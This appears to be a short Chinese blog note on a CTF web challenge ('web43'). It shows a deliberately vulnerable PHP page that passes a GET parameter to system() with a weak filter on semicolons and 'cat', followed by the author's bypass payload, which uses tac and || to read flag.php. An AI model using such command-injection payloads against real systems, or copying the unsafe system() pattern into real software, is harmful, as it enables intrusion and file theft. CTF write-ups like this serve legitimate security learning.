web43笔记(命令丢弃+过滤分号和cat)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

只是过滤了分号和cat⽽已,继续⽤上⾯的

?c=tac flag.php||ls

posted @ 2025-03-14 23:24  justdoIT*  阅读(9)  评论(0)    收藏  举报